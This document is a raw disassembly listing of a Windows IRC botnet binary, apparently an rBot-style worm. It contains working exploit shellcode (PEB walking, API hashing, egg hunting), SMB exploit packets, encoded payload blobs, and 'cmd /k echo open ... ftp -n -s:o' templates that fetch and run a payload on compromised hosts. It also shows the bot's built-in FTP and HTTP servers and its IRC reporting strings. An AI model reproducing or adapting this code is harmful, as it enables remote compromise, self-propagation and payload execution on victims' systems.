dd 6F64213Ah, 6E77h, 4 dup(0)
dd 2372233Ah, 5 dup(0)
dd 7261663Ah, 6E2E7365h, 7465h, 3 dup(0)
dd 776F643Ah, 776F6C6Eh, 4 dup(0)
dd 4F42413Ah, 374C4153h, 4 dup(0)
dword_420440 dd 544F42h unk_420444 db 2 ; DATA XREF: .nsp0:004027D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
unk_42048C db 2 ; DATA XREF: .nsp0:00402787o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: .nsp0:00402711o
align 10h
unk_4204E0 db 2 ; DATA XREF: .nsp0:00402662o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 4
unk_42052C db 2 ; DATA XREF: .nsp0:004025DFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
unk_420574 db 2 ; DATA XREF: .nsp0:00402561o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_402AB1+B2o
align 4
dword_4205C8 dd 10FF8h, 0 dword_4205D0 dd 10FF8h dword_4205D4 dd 7FFDF020h, 0 dword_4205DC dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_420664 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_420694 dd 0 dd 800000D4h, 0
unk_4206A0 db 81h ; ; DATA XREF: sub_402FB5+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_4206EC db 41h ; DATA XREF: sub_403053+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_420730 proc near ; DATA XREF: sub_4032B0+80o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_42082C
push dword ptr [esi]
push 63D61209h
call sub_420842
mov [esi+8], eax
call sub_4207F5
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_420842
mov [esi+0Ch], eax
call sub_4207A7
push dword ptr [esi+4]
push 4C0297FAh
call sub_420842
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_420730 endp
; =============== S U B R O U T I N E =======================================
sub_4207A7 proc near ; CODE XREF: sub_420730+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4207D0
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4207A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4207D0 proc near ; CODE XREF: sub_4207A7+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4207DF: ; CODE XREF: sub_4207D0+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4207EC
inc ebx
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207EC: ; CODE XREF: sub_4207D0+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4207D0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4207F5 proc near ; CODE XREF: sub_420730+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_42080D: ; CODE XREF: sub_4207F5+1Ej
cmp [ecx], ebx
jz short loc_420815
mov ecx, [ecx]
jmp short loc_42080D
; ---------------------------------------------------------------------------
loc_420815: ; CODE XREF: sub_4207F5+1Aj
mov edx, edi
loc_420817: ; CODE XREF: sub_4207F5+2Aj
cmp [edx+4], ebx
jz short loc_420821
mov edx, [edx+4]
jmp short loc_420817
; ---------------------------------------------------------------------------
loc_420821: ; CODE XREF: sub_4207F5+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4207F5 endp
; =============== S U B R O U T I N E =======================================
sub_42082C proc near ; CODE XREF: sub_420730+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_42082C endp
; =============== S U B R O U T I N E =======================================
sub_420842 proc near ; CODE XREF: sub_420730+16p
; sub_420730+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_420858: ; CODE XREF: sub_420842+33j
jecxz short loc_420892
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_420865: ; CODE XREF: sub_420842+2Dj
lodsb
cmp al, ah
jz short loc_420871
ror edi, 0Dh
add edi, eax
jmp short loc_420865
; ---------------------------------------------------------------------------
loc_420871: ; CODE XREF: sub_420842+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_420858
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_420892: ; CODE XREF: sub_420842:loc_420858j
; sub_420842:loc_420892j
jmp short loc_420892
sub_420842 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_420898 proc near ; DATA XREF: sub_4032B0+30o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_4208EA
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_4208B5: ; CODE XREF: sub_420898+38j
jecxz short loc_4208E5
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_4208C0: ; CODE XREF: sub_420898+32j
lodsb
test al, al
jz short loc_4208CC
ror edx, 0Dh
add edx, eax
jmp short loc_4208C0
; ---------------------------------------------------------------------------
loc_4208CC: ; CODE XREF: sub_420898+2Bj
cmp edx, [esp+arg_0]
jnz short loc_4208B5
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_4208E5: ; CODE XREF: sub_420898:loc_4208B5j
mov [esp+arg_0], ebx
retn
sub_420898 endp
; =============== S U B R O U T I N E =======================================
sub_4208EA proc near ; CODE XREF: sub_420898+7p
; FUNCTION CHUNK AT 00420922 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_420903
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_42090E
; ---------------------------------------------------------------------------
loc_420903: ; CODE XREF: sub_4208EA+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_42090E: ; CODE XREF: sub_4208EA+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_420922
sub_4208EA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420915 proc near ; CODE XREF: sub_4208EA:loc_420922p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_420915 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4208EA
loc_420922: ; CODE XREF: sub_4208EA+29j
call sub_420915
loc_420927: ; DATA XREF: sub_402A56+1Bo
; .nsp0:0040AAB9o ...
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_4208EA
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_42092C dd 60h dword_420930 dd 62B0606h, 2050501h, 0A0hdword_42093C dd 30h ; .nsp0:00425F8Co ...
dword_420940 dd 0A1h dword_420944 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_402AB1+153o
align 10h
loc_420950: ; DATA XREF: sub_402AB1+E8o
jmp short near ptr dword_420958
; ---------------------------------------------------------------------------
align 8
dword_420958 dd 0 dword_42095C dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: sub_4032B0+55o
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
dword_4209D8 dd 200F1001h, 0Ah, 1001802h, 0 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_4038B1+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403A5B+5CDo
aQuit db 'QUIT',0 ; DATA XREF: sub_403A5B+5B9o
; .nsp0:0040A85Bo
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_403A5B+5ACo
align 4
dword_421CA8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_403A5B+561o
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403A5B+542o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_403A5B+516o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_403A5B+4FEo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403A5B+4E9o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403A5B+4D8o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403A5B+4A5o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403A5B+464o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_403A5B+42Bo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403A5B+3FDo
align 10h
aList db 'LIST',0 ; DATA XREF: sub_403A5B+3EAo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_403A5B+3AFo
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_403A5B+39Co
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403A5B+38Co
aI: ; DATA XREF: sub_403A5B+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403A5B+351o
aA: ; DATA XREF: sub_403A5B+33Do
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_403A5B+326o
; sub_403A5B+361o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403A5B+316o
align 4
off_421E64 dd offset dword_445750 ; DATA XREF: sub_403A5B+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403A5B+2F2o
align 4
aRest db 'REST',0 ; DATA XREF: sub_403A5B+2DEo
align 4
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_403A5B+2CEo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_403A5B+2BAo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403A5B+2AAo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_403A5B+296o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403A5B+286o
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_403A5B+271o
; .nsp0:00425DA4o ...
align 4
aSS db '%s %s',0 ; DATA XREF: sub_403A5B+260o
align 4
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403A5B+1D8o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4040DB+24o
; sub_405290+12Eo ...
align 10h
unk_421F00 db 2 ; DATA XREF: sub_404175+3F8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_421F48 db 0Dh,0Ah,0 ; DATA XREF: sub_404175+2CFo
align 4
asc_421F4C: ; DATA XREF: sub_404175+293o
; .nsp0:0040A3E1o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_404175+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4045D0+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_4045D0+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_4045D0+97o
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_4045D0+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_4045D0:loc_404635o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_4045D0+5Eo
align 4
unk_42216C db 2 ; DATA XREF: .nsp0:004049E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_4221B8 db 2 ; DATA XREF: .nsp0:0040495Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_4221FC: ; DATA XREF: .nsp0:004048A9o
; .nsp0:004279D0o
unicode 0, <*>,0
asc_422200: ; DATA XREF: .nsp0:0040484Do
; sub_404A02+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: .nsp0:0040483Co
; sub_404A02+4CAo ...
align 4
aS_1 db '%s',0 ; DATA XREF: .nsp0:0040478Co
; sub_4084F5+4Co ...
align 10h
aS_2 db '\%s',0 ; DATA XREF: .nsp0:00404781o
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_404A02+64Eo
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_404A02+618o
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404A02+589o
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404A02+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404A02:loc_404F1Ao
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404A02+511o
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404A02+471o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404A02+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404A02:loc_404DC4o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404A02+3BBo
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_404A02+374o
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+330o
; sub_404A02+486o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404A02+30Eo
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_404A02+2E4o
; sub_404A02+413o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404A02+2BAo
aAm db 'AM',0 ; DATA XREF: sub_404A02+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_404A02+284o
align 4
a__0: ; DATA XREF: sub_404A02+24Do
unicode 0, <.>,0
a__ db '..',0 ; DATA XREF: sub_404A02+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404A02+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404A02+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404A02+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404A02+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40516F+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_4226B8 dd 4000500h, 7868746Bh, 0dword_4226C4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_405290+47Fo
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 4
unk_422714 db 2 ; DATA XREF: sub_405290+3B6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 10h
dword_422750 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_405290+399o
